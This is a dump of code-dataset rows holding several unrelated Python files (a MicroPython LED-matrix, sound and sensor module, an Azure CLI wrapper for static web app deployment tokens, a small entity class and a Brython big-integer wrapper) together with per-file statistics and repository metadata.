0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0]
ARROW_S = [0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1,
1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0]
ARROW_SW = [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,
0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1]
ARROW_W = [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1,
0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0]
ARROW_NW = [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1,
0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0]
ALL_CLOCKS = [CLOCK12, CLOCK1, CLOCK2, CLOCK3, CLOCK4, CLOCK5,
CLOCK6, CLOCK7, CLOCK8, CLOCK9, CLOCK10, CLOCK11]
ALL_ARROWS = [ARROW_N, ARROW_NE, ARROW_E,
ARROW_SE, ARROW_S, ARROW_SW, ARROW_W, ARROW_NW]
import _thread
class Display:
lock = _thread.allocate_lock()
def __init__(self):
self.alive = False
self.Led = Pixel()
self.tem = [[0, 0, 0]] * 25 # 显示缓存区m=
def stop(self):
self.alive = False
if Display.lock.acquire():
# print("stop")
Display.lock.release()
def scroll(self, val, color=Red, delay=150):
self.stop()
self.alive = True
if Display.lock.acquire():
# print("start")
_thread.start_new_thread(self._scroll,([val,color,delay]))
Display.lock.release()
def Disrupt_Col(color):
a = color[-1]
while True:
if color_num != 1:
import random
random.shuffle(color)
if a != color[0]:
break
def _scroll(self, val, color=Red, delay=150):
pixel_col = [[0, 0, 0]] * 25 # 显示缓存区m=
val = str(val) + ' '
color_num = 1
if color != Red:
if isinstance(color[0], list):
color_num = len(color)
# self.Disrupt_Col(color) #打乱颜色顺序
col_cnt = 0
it = iter(color)
for val1 in val:
val2 = CharData[val1]
if color_num == 1:
now_col = color
else:
if col_cnt < color_num:
now_col = next(it) # 确定当前字符的颜色
else:
col_cnt = 0
it = iter(color)
now_col = next(it)
col_cnt += 1
for i in range(25): # 为字符的像素点添加颜色
if val2[i] == 1:
pixel_col[i] = now_col
else:
pixel_col[i] = [0, 0, 0]
if Display.lock.acquire():
for i in range(6): # 开始滚动显示
if self.alive == False:
Display.lock.release()
self.clear()
_thread.exit()
else:
for t in range(4):
self.tem[20 - (t * 5):20 - (t * 5) + 5] = self.tem[20 -
((t + 1) * 5):20 - ((t + 1) * 5) + 5]
# 数据向前移动5位
if i == 5:
self.tem[0:5] = Zero[0:5] # 每个字符之间间隔一行
else:
self.tem[0:5] = pixel_col[20 - (i * 5):20 - (i * 5) + 5]
for r in range(25):
self.Led.LoadPos(r, self.tem[r]) # 亮度为0
self.Led.Show()
sleep_ms(delay)
Display.lock.release()
_thread.exit()
def clear(self):
self.stop()
self.Led.fill((0, 0, 0))
self.Led.Show()
def __show(self, it, color):
it = iter(it)
for r in range(25):
col = next(it)
self.Led.LoadPos(r, color if col else black)
self.Led.Show()
def show(self, images, wait=True, color=Red, *, loop=False, delay=500, clear=False):
if isinstance(images, str):
images = CharData[images]
if isinstance(images, list) and (isinstance(images[0], Image) or isinstance(images[0], list)):
for i in images:
self.__show(i, color)
sleep_ms(delay)
try:
while loop:
for i in images:
self.__show(i, color)
sleep_ms(delay)
except Exception as e:
self.Led.fill((0, 0, 0))
self.Led.Show()
else:
it = iter(images)
self.__show(it, color)
try:
while loop:
self.__show(it, color)
except Exception as e:
self.Led.fill((0, 0, 0))
self.Led.Show()
def get_pixel(self, x=0, y=0):
print("get_pixel will be supported in the future.")
def set_pixel(self, x=0, y=0, value=9):
print("set_pixel will be supported in the future.")
def on(self):
self.clear()
def off(self):
self.clear()
def is_on(self):
return self.Led != None
class Intensity():
dither = 10
def __init__(self, pin):
self.old, self.new, self.eliminate = 0, 0, 100
from machine import ADC, Pin
self.adc = ADC(Pin(pin, Pin.IN))
self.adc.atten(ADC.ATTN_11DB) # 0-3.9V
def read(self):
self.old = self.new
self.new = self.adc.read() / 4.095
return int(self.new)
# result > 0 to state up, < 0 to state down.
def get_state(self):
# print(self.new, self.old)
tmp = self.new - self.old
return 0 if abs(tmp) < self.eliminate else tmp
def calibrate(self):
self.eliminate = 2 + self.read() / Intensity.dither
class Gesture(object):
idle, ing, end, = 0, 1, 2
def __init__(self, PinLeft=36, PinRight=39, dither=10):
Intensity.dither = dither
self.l, self.r = Intensity(PinLeft), Intensity(PinRight)
self.l_state, self.r_state = Gesture.idle, Gesture.idle
self.update=0
def get_brightness(self):
self.r.read()
self.l.read()
def get_gesture(self, delay=25):
sleep_ms(delay)
self.get_brightness()
l_state, r_state = self.l.get_state(), self.r.get_state()
result = []
if self.l_state == Gesture.idle and r_state > 0 and self.r.new-self.l.new > self.l.eliminate:
self.l_count = 0
self.l_state = Gesture.ing
if self.r_state == Gesture.idle and l_state > 0 and self.l.new-self.r.new > self.r.eliminate:
self.r_count = 0
self.r_state = Gesture.ing
if self.l_state == Gesture.ing:
# print(self.l.eliminate)
self.l_count += 1
if self.l_count > 20:
self.l_state = Gesture.idle
elif l_state > 0 and self.r.new-self.l.new < self.l.eliminate:
self.l_state = Gesture.end
if self.l_state == Gesture.end:
self.l_state = Gesture.idle
result.append('left')
if self.r_state == Gesture.ing:
# print(self.r.eliminate)
self.r_count += 1
if self.r_count > 20:
self.r_state = Gesture.idle
elif r_state > 0 and self.l.new-self.r.new < self.r.eliminate:
self.r_state = Gesture.end
if self.r_state == Gesture.end:
self.r_state = Gesture.idle
result.append('right')
if l_state == 0 and r_state == 0 and self.l_state == Gesture.idle and self.r_state == Gesture.idle:
self.update += 1
if self.update > 20:
self.update = 0
self.l.calibrate()
self.r.calibrate()
return None if len(result) != 1 else result[0]
DADADADUM = ['r4:2', 'g', 'g', 'g', 'eb:8', 'r:2', 'f', 'f', 'f', 'd:8']
PUNCHLINE = ['c4:3', 'g3:1', 'f#', 'g', 'g#:3', 'g', 'r', 'b', 'c4']
PYTHON = [
'd5:1', 'b4', 'r', 'b', 'b', 'a#', 'b', 'g5', 'r', 'd', 'd', 'r', 'b4',
'c5', 'r', 'c', 'c', 'r', 'd', 'e:5', 'c:1', 'a4', 'r', 'a', 'a', 'g#',
'a', 'f#5', 'r', 'e', 'e', 'r', 'c', 'b4', 'r', 'b', 'b', 'r', 'c5', 'd:5',
'd:1', 'b4', 'r', 'b', 'b', 'a#', 'b', 'b5', 'r', 'g', 'g', 'r', 'd', 'c#',
'r', 'a', 'a', 'r', 'a', 'a:5', 'g:1', 'f#:2', 'a:1', 'a', 'g#', 'a',
'e:2', 'a:1', 'a', 'g#', 'a', 'd', 'r', 'c#', 'd', 'r', 'c#', 'd:2', 'r:3'
]
BADDY = ['c3:3', 'r', 'd:2', 'd#', 'r', 'c', 'r', 'f#:8']
BA_DING = ['b5:1', 'e6:3']
WAWAWAWAA = ['e3:3', 'r:1', 'd#:3', 'r:1', 'd:4', 'r:1', 'c#:8']
JUMP_UP = ['c5:1', 'd', 'e', 'f', 'g']
JUMP_DOWN = ['g5:1', 'f', 'e', 'd', 'c']
POWER_UP = ['g4:1', 'c5', 'e4', 'g5:2', 'e5:1', 'g5:3']
POWER_DOWN = ['g5:1', 'd#', 'c', 'g4:2', 'b:1', 'c5:3']
normal_tone = {
'A1': 55, 'B1': 62, 'C1': 33, 'D1': 37, 'E1': 41, 'F1': 44, 'G1': 49,
'A2': 110, 'B2': 123, 'C2': 65, 'D2': 73, 'E2': 82, 'F2': 87, 'G2': 98,
'A3': 220, 'B3': 247, 'C3': 131, 'D3': 147, 'E3': 165, 'F3': 175, 'G3': 196,
'A4': 440, 'B4': 494, 'C4': 262, 'D4': 294, 'E4': 330, 'F4': 349, 'G4': 392,
'A5': 880, 'B5': 988, 'C5': 523, 'D5': 587, 'E5': 659, 'F5': 698, 'G5': 784,
'A6': 1760, 'B6': 1976, 'C6': 1047, 'D6': 1175, 'E6': 1319, 'F6': 1397, 'G6': 1568,
'A7': 3520, 'B7': 3951, 'C7': 2093, 'D7': 2349, 'E7': 2637, 'F7': 2794, 'G7': 3135,
'A8': 7040, 'B8': 7902, 'C8': 4186, 'D8': 4699, 'E8': 5274, 'F8': 5588, 'G8': 6271,
'A9': 14080, 'B9': 15804
}
rising_tone = {
'A1': 58, 'C1': 35, 'D1': 39, 'F1': 46, 'G1': 52,
'A2': 117, 'C2': 69, 'D2': 78, 'F2': 93, 'G2': 104,
'A3': 233, 'C3': 139, 'D3': 156, 'F3': 185, 'G3': 208,
'A4': 466, 'C4': 277, 'D4': 311, 'F4': 370, 'G4': 415,
'A5': 932, 'C5': 554, 'D5': 622, 'F5': 740, 'G5': 831,
'A6': 1865, 'C6': 1109, 'D6': 1245, 'F6': 1480, 'G6': 1661,
'A7': 3729, 'C7': 2217, 'D7': 2489, 'F7': 2960, 'G7': 3322,
'A8': 7459, 'C8': 4435, 'D8': 4978, 'F8': 5920, 'G8': 6645,
'A9': 14917
}
falling_tone = {
'B1': 58, 'D1': 35, 'E1': 39, 'G1': 46, 'A1': 52,
'B2': 117, 'D2': 69, 'E2': 78, 'G2': 93, 'A2': 104,
'B3': 233, 'D3': 139, 'E3': 156, 'G3': 185, 'A3': 208,
'B4': 466, 'D4': 277, 'E4': 311, 'G4': 370, 'A4': 415,
'B5': 932, 'D5': 554, 'E5': 622, 'G5': 740, 'A5': 831,
'B6': 1865, 'D6': 1109, 'E6': 1245, 'G6': 1480, 'A6': 1661,
'B7': 3729, 'D7': 2217, 'E7': 2489, 'G7': 2960, 'A7': 3322,
'B8': 7459, 'D8': 4435, 'E8': 4978, 'G8': 5920, 'A8': 6645,
'B9': 14917
}
Letter = 'ABCDEFG#R'
import _thread
class MIDI():
lock = _thread.allocate_lock()
def set_tempo(self, ticks=4, bpm=120):
self.ticks = ticks
self.bpm = bpm
self.beat = 60000 / self.bpm / self.ticks
def set_octave(self, octave=4):
self.octave = octave
def set_duration(self, duration=4):
self.duration = duration
def reset(self):
self.set_duration()
self.set_octave()
self.set_tempo()
def stop(self):
self.play(['r'])
def __init__(self):
self.reset()
self.alive = False
def parse(self, tone, dict):
# print(tone)
time = self.beat * self.duration
pos = tone.find(':')
if pos != -1:
time = self.beat * int(tone[(pos + 1):])
tone = tone[:pos]
# print(tone)
freq, tone_size = 1, len(tone)
if 'R' in tone:
freq = 1
elif tone_size == 1:
freq = dict[tone[0] + str(self.octave)]
elif tone_size == 2:
freq = dict[tone]
self.set_octave(tone[1:])
# print(int(freq), int(time))
return int(freq), int(time)
def midi(self, tone):
# print(tone)
pos = tone.find('#')
if pos != -1:
return self.parse(tone.replace('#', ''), rising_tone)
pos = tone.find('B')
if pos != -1 and pos != 0:
return self.parse(tone.replace('B', ''), falling_tone)
return self.parse(tone, normal_tone)
def set_default(self, tone):
pos = tone.find(':')
if pos != -1:
self.set_duration(int(tone[(pos + 1):]))
tone = tone[:pos]
def play(self, tune, wait=False, loop=False, pin=25, duration=None):
from machine import Pin, PWM
from utime import sleep_ms
try:
pwm = PWM(Pin(pin))
if duration is None:
self.set_default(tune[0])
else:
self.set_duration(duration)
for tone in tune:
tone = tone.upper() # all to upper
if tone[0] not in Letter:
continue
midi = self.midi(tone)
pwm.freq(midi[0]) # set frequency
pwm.duty(midi[1]) # set duty cycle
sleep_ms(midi[1])
finally:
pwm.deinit()
if loop:
while True:
self.play(tune)
def pitch(self, freq, tim, pin=25):
from machine import Pin, PWM
from utime import sleep_ms
try:
pwm = PWM(Pin(pin))
pwm.freq(freq) # set frequency
pwm.duty(tim) # set duty cycle
sleep_ms(tim)
finally:
pwm.deinit()
class Pins():
def __init__(self, pin):
self.pin = pin
self.adc = None
def write_digital(self, v):
Pin(self.pin, Pin.OUT).value(v)
def read_digital(self):
return Pin(self.pin, Pin.IN).value()
def read_analog(self, ATTN = ADC.ATTN_0DB):
if self.pin not in range(32,40):
# print("This pin feature is not supported")
return None
if self.adc is None:
self.adc = ADC(Pin(self.pin, Pin.IN))
self.adc.atten(ATTN)
return self.adc.read()
def write_analog(self, value):
if self.pin not in [25,26]:
# print("This pin feature is not supported")
return None
DAC(Pin(self.pin)).write(value)
def is_touched(self):
return self.read_analog() > 3071
Tp = 273.15
T = Tp + 25 # Normal Temperature Parameters
_T = 1 / T
B = 3950
class Temperature:
def __init__(self, adc):
self.adc = adc
def temperature(self):
adc_val = self.adc.read()
Vout = adc_val * 3.9 / 4095.0
if 0 < Vout and Vout < 3.3: # -26.9 and 160.5
Rt = ((3.3 / Vout) - 1) * 0.51 # Sampling Resistance is 5.1K ohm
import math
T1 = 1 / (_T + math.log(Rt) / B) - Tp
return round(T1, 1)
print('ADC Value Error!')
return None
display = Display()
| 37.443366
| 148
| 0.433218
| 6,504
| 34,710
| 2.259379
| 0.084102
| 0.206737
| 0.218646
| 0.204968
| 0.510922
| 0.430282
| 0.40769
| 0.351684
| 0.317455
| 0.298877
| 0
| 0.198607
| 0.35883
| 34,710
| 927
| 149
| 37.443366
| 0.461694
| 0.027024
| 0
| 0.259563
| 0
| 0.002732
| 0.038785
| 0.000801
| 0
| 0
| 0
| 0
| 0
| 1
| 0.103825
| false
| 0.015027
| 0.023224
| 0.01776
| 0.244536
| 0.015027
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b388a7a58ad9555d505c54a4211f65dedbadf0b8
| 963
|
py
|
Python
|
pyaz/staticwebapp/secrets/__init__.py
|
py-az-cli/py-az-cli
|
9a7dc44e360c096a5a2f15595353e9dad88a9792
|
[
"MIT"
] | null | null | null |
pyaz/staticwebapp/secrets/__init__.py
|
py-az-cli/py-az-cli
|
9a7dc44e360c096a5a2f15595353e9dad88a9792
|
[
"MIT"
] | null | null | null |
pyaz/staticwebapp/secrets/__init__.py
|
py-az-cli/py-az-cli
|
9a7dc44e360c096a5a2f15595353e9dad88a9792
|
[
"MIT"
] | 1
|
2022-02-03T09:12:01.000Z
|
2022-02-03T09:12:01.000Z
|
'''
Manage deployment token for the static app
'''
from ... pyaz_utils import _call_az
def list(name, resource_group=None):
'''
List the deployment token for the static app.
Required Parameters:
- name -- Name of the static site
Optional Parameters:
- resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>`
'''
return _call_az("az staticwebapp secrets list", locals())
def reset_api_key(name, no_wait=None, resource_group=None):
'''
Reset the deployment token for the static app.
Required Parameters:
- name -- Name of the static site
Optional Parameters:
- no_wait -- Do not wait for the long-running operation to finish.
- resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>`
'''
return _call_az("az staticwebapp secrets reset-api-key", locals())
| 30.09375
| 128
| 0.699896
| 132
| 963
| 4.992424
| 0.348485
| 0.118361
| 0.081942
| 0.095599
| 0.713202
| 0.713202
| 0.667678
| 0.667678
| 0.667678
| 0.667678
| 0
| 0
| 0.208723
| 963
| 31
| 129
| 31.064516
| 0.864829
| 0.63136
| 0
| 0
| 0
| 0
| 0.232143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
b39d8638835e602eaecf0c2066b021cf3ec720e5
| 139
|
py
|
Python
|
wrapi/entities/ediscovery_search.py
|
dtitkin/wrapi
|
d26f327abebb55ca6d2e099d2c76c75af9def888
|
[
"MIT"
] | 7
|
2020-12-25T14:59:26.000Z
|
2021-02-16T15:50:50.000Z
|
wrapi/entities/ediscovery_search.py
|
dtitkin/wrapi
|
d26f327abebb55ca6d2e099d2c76c75af9def888
|
[
"MIT"
] | 7
|
2020-12-25T15:29:05.000Z
|
2020-12-25T15:38:26.000Z
|
wrapi/entities/ediscovery_search.py
|
dtitkin/wrapi
|
d26f327abebb55ca6d2e099d2c76c75af9def888
|
[
"MIT"
] | 1
|
2021-02-24T06:50:56.000Z
|
2021-02-24T06:50:56.000Z
|
from __future__ import annotations
from ..types_.entity import BaseEntity
class EDiscoverySearch(BaseEntity):
type: str
id: str
| 15.444444
| 38
| 0.76259
| 16
| 139
| 6.3125
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.179856
| 139
| 8
| 39
| 17.375
| 0.885965
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b3a105a622a29c0f93d81988289ef6326718c207
| 3,805
|
py
|
Python
|
src/Lib/long_int1/__init__.py
|
JamesHutchison/brython
|
3beb92bb6125a3e2e96b3e25e8fdac5f73a58871
|
[
"BSD-3-Clause"
] | null | null | null |
src/Lib/long_int1/__init__.py
|
JamesHutchison/brython
|
3beb92bb6125a3e2e96b3e25e8fdac5f73a58871
|
[
"BSD-3-Clause"
] | null | null | null |
src/Lib/long_int1/__init__.py
|
JamesHutchison/brython
|
3beb92bb6125a3e2e96b3e25e8fdac5f73a58871
|
[
"BSD-3-Clause"
] | null | null | null |
from browser import html, document, window
import javascript
#memorize/cache?
def _get_value(other):
if isinstance(other, LongInt):
return other.value
return other
class BigInt:
def __init__(self):
pass
def __abs__(self):
return LongInt(self.value.abs())
def __add__(self, other):
return LongInt(self.value.plus(_get_value(other)))
def __and__(self, other):
pass
def __divmod__(self, other):
_value=_get_value(other)
return LongInt(self.value.div(_value)), LongInt(self.value.mod(_value))
def __div__(self, other):
return LongInt(self.value.div(_get_value(other)))
def __eq__(self, other):
return bool(self.value.eq(_get_value(other)))
def __floordiv__(self, other):
return LongInt(self.value.div(_get_value(other)).floor())
def __ge__(self, other):
return bool(self.value.gte(_get_value(other)))
def __gt__(self, other):
return bool(self.value.gt(_get_value(other)))
def __index__(self):
if self.value.isInt():
return int(self.value.toNumber())
raise TypeError("This is not an integer")
def __le__(self, other):
return bool(self.value.lte(_get_value(other)))
def __lt__(self, other):
return bool(self.value.lt(_get_value(other)))
def __lshift__(self, shift):
if isinstance(shift, int):
_v=LongInt(2)**shift
return LongInt(self.value.times(_v.value))
def __mod__(self, other):
return LongInt(self.value.mod(_get_value(other)))
def __mul__(self, other):
return LongInt(self.value.times(_get_value(other)))
def __neg__(self, other):
return LongInt(self.value.neg(_get_value(other)))
def __or__(self, other):
pass
def __pow__(self, other):
return LongInt(self.value.pow(_get_value(other)))
def __rshift__(self, other):
pass
def __sub__(self, other):
return LongInt(self.value.minus(_get_value(other)))
def __repr__(self):
return "%s(%s)" % (self.__name__, self.value.toString(10))
def __str__(self):
return "%s(%s)" % (self.__name__, self.value.toString(10))
def __xor__(self, other):
pass
_precision=20
def get_precision(value):
if isinstance(value, LongInt):
return len(str(value.value.toString(10)))
return len(str(value))
class DecimalJS(BigInt):
def __init__(self, value=0, base=10):
global _precision
_prec=get_precision(value)
if _prec > _precision:
_precision=_prec
window.eval('Decimal.precision=%s' % _precision)
self.value=javascript.JSConstructor(window.Decimal)(value, base)
class BigNumberJS(BigInt):
def __init__(self, value=0, base=10):
self.value=javascript.JSConstructor(window.BigNumber)(value, base)
class BigJS(BigInt):
def __init__(self, value=0, base=10):
self.value=javascript.JSConstructor(window.Big)(value, base)
def __floordiv__(self, other):
_v=LongInt(self.value.div(_get_value(other)))
if _v >= 0:
return LongInt(_v.value.round(0, 0)) #round down
return LongInt(_v.value.round(0, 3)) #round up
def __pow__(self, other):
if isinstance(other, LongInt):
_value=int(other.value.toString(10))
elif isinstance(other, str):
_value=int(other)
return LongInt(self.value.pow(_value))
_path = __file__[:__file__.rfind('/')]+'/'
#to use decimal.js library uncomment these 2 lines
#javascript.load(_path+'decimal.min.js', ['Decimal'])
#LongInt=DecimalJS
#to use bignumber.js library uncomment these 2 lines
javascript.load(_path+'bignumber.min.js', ['BigNumber'])
LongInt=BigNumberJS
#big.js does not have a "base" so only base 10 stuff works.
#to use big.js library uncomment these 2 lines
#javascript.load(_path+'big.min.js', ['Big'])
#LongInt=BigJS
| 26.061644
| 77
| 0.676741
| 518
| 3,805
| 4.604247
| 0.208494
| 0.109434
| 0.087212
| 0.110692
| 0.453249
| 0.399581
| 0.215514
| 0.202096
| 0.189937
| 0.130818
| 0
| 0.009699
| 0.187122
| 3,805
| 145
| 78
| 26.241379
| 0.761397
| 0.095138
| 0
| 0.172043
| 0
| 0
| 0.023601
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0.053763
| 0.021505
| 0.172043
| 0.677419
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.